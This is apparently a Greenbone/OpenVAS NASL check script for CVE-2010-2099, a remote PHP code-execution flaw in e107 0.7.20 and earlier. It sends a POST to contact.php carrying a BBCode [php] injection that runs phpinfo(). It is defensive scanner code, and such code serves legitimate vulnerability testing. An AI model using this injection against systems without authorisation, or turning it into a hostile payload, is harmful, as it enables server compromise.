e107 BBCode Arbitrary PHP Code Execution Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:e107:e107";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100649");
  script_version("2023-07-28T16:09:07+0000");
  script_tag(name:"last_modification", value:"2023-07-28 16:09:07 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2010-05-25 13:42:13 +0200 (Tue, 25 May 2010)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2010-2099");
  script_name("e107 BBCode Arbitrary PHP Code Execution Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("e107_detect.nasl");
  script_mandatory_keys("e107/installed");
  script_require_ports("Services/www", 80);

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/40252");
  script_xref(name:"URL", value:"http://e107.org/");
  script_xref(name:"URL", value:"http://www.php-security.org/2010/05/19/mops-2010-035-e107-bbcode-remote-php-code-execution-vulnerability/index.html");

  script_tag(name:"summary", value:"e107 is prone to a remote PHP code-execution vulnerability.");

  script_tag(name:"affected", value:"e107 version 0.7.20 and prior are affected.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to inject and execute arbitrary
  malicious PHP code in the context of the webserver process. This may facilitate a compromise of the
  application and the underlying system. Other attacks are also possible.");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

variables = string( "send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]" );
url = dir + "/contact.php";

host = http_host_name( port:port );

req = string( "POST ", url, " HTTP/1.1\r\n",
              "Referer: http://", host, url, "\r\n",
              "Host: ", host, "\r\n",
              "Content-Type: application/x-www-form-urlencoded\r\n",
              "Content-Length: ", strlen(variables),
              "\r\n\r\n",
              variables );
res = http_keepalive_send_recv( port:port, data:req );

if( egrep( pattern:"<title>phpinfo\(\)</title>", string:res, icase:TRUE ) || "php.net" >< res ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );